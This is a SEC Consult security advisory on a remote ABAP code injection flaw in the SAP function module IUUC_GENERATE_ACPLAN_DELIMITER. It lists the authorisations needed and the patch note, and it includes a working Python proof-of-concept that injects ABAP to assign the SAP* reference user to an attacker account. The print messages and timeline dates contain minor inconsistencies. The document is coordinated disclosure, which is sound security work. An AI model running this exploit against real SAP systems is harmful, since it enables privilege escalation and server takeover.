SEC Consult Vulnerability Lab Security Advisory < 20211214-2 >
==============================================================================
               title: Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER
             product: SAP Netweaver
  vulnerable version: SAP DMIS in at least 2011_1_731 <= SP 0013
       fixed version: see solution section below
          CVE number: n/a
           SAP SNote: 3089831
              impact: Critical
      CVSS 3.1 Score: 9.1
     CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
            homepage: https://www.sap.com/
               found: 2021-07-23
                  by: Raschin Tavakoli (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

==============================================================================

Vendor description:
-------------------
"SAP SE is a German multinational software corporation based in Walldorf,
Baden-Württemberg, that develops enterprise software to manage business
operations and customer relations. The company is especially known for its ERP
software. SAP is the largest non-American software company by revenue, the
world's third-largest publicly-traded software company by revenue, and the
largest German company by market capitalization."

Source: https://en.wikipedia.org/wiki/SAP


Business recommendation:
------------------------
SAP® released the patch (SNote 3089831) and SEC Consult advises all
SAP® customers to update their systems immediately.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER

The function module IUUC_GENERATE_ACPLAN_DELIMITER allows creating and executing
ABAP programs in the SAP internal /ILT/* and /1CADMC/* namespace. To do that it
creates jobs that can be executed immediately or scheduled for a specific time
in the future. An attacker with the authorizations for the function
module is able to execute arbitrary code and take over the SAP application
server.

As the function module is remote enabled, it allows the attack to be
performed remotely via RFC. In the majority of cases internal RFC
communications are nowadays still found to be unencrypted. This increases the
risk that attackers wiretap service account passwords. Once such user is
hijacked, the attacker has gained all necessary prerequisites for further
attacks as described in this advisory.


Attack Prerequisites
--------------------
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER

The user must have at least the following authorization objects:

S_DMIS:
MBT_PR_ARE: SLOP (SAP Landscape Transformation)
ACTVT:      03   (Display)

S_BTCH_JOB:
JOBACTION:  RELE  (Release Jobs)

Further, authorization to perform function calls (S_RFC) have to be present.
Alternatively for local execution, authorization to execute function modules
via transaction SE37 would be necessary.


Proof of concept:
-----------------
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER

As a proof of concept, a script was created that assigns
the reference user SAP* to the attacker using the table REFUSER:

* ************************************************************************** *
#!/usr/bin/env python3
from pyrfc import Connection

import time

def print_usref():
     conn_highpriv = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
                                user="DEVELOPER", passwd="Sap123456", lang='EN')
     result = conn_highpriv.call('RFC_READ_TABLE',
                                 QUERY_TABLE='USREFUS',
                                 FIELDS=['MANDT', 'BNAME', 'REFUSER'],
                                 DELIMITER='|'
                                 )
     column_values = []

     for line in result['DATA']:
         data = line['WA']
         if "TEST" in data:
             print(data)


if __name__ == '__main__':
     mandt = {'000', '001'}  # selected for demonstration purpose

     print("Before: USREFUS WHERE BNAME = 'TEST'")
     print_usref()

     conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
                       user="TEST", passwd="Sap123456", lang='EN')

     result = conn.call('IUUC_GENERATE_ACPLAN_DELIMITER',
                        I_REPORTNAME='/1LT/Z_EVIL',
                        I_SCHED_IMMEDIATE='X',
                        IT_CODE=["REPORT /1LT/Z_EVIL.",
                                 "UPDATE USREFUS SET REFUSER = 'SAP*' ",
                                 "WHERE BNAME = 'TEST'."
                                 "COMMIT WORK."]
                        )

     print("\nSending payload via IUUC_RECON_RC_COUNT_TABLE_BIG and waiting 5 seconds...\n")

     time.sleep(5)
     print("After: USREFUS WHERE BNAME = 'TEST'")
     print_usref()
* ************************************************************************** *

Running the code produces the following output:

$> IUUC_GENERATE_ACPLAN_DELIMITER_poc.py
Before: USREFUS WHERE BNAME = 'TEST'
001|TEST        |

Sending payload via IUUC_RECON_RC_COUNT_TABLE_BIG and waiting 5 seconds...

After: USREFUS WHERE BNAME = 'TEST'
001|TEST        |SAP*

  
Vulnerable / tested versions:
-----------------------------
This vulnerability has been tested on Netweaver 754 (Release), 0002 (SP-Level), SAP DMIS
2011_1_731, SAPK-11613INDMIS.


Vendor contact timeline:
------------------------
2021-10-20: Initial contact with vendor
2021-10-22: Vendor informs that the discussion has been taken up to the
             application team
2021-11-11: Vendor informs that issue was also fixed in SAP Note 3089831
2021-11-11: SEC Consult informs Vendor that SAP Note 3089831 fixes the
             vulnerability but that CVE and SAP Note description is wrong
             (No SQL Injection but ABAP Injection)
2020-12-14: Coordinated release of security advisory


Solution:
---------
SEC Consult advises all SAP® customers to implement SAP Security Note
3089831 immediately.


Workaround:
-----------
See SAP Note 3089831


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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Europe | Asia | North America

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EOF Raschin Tavakoli / @2021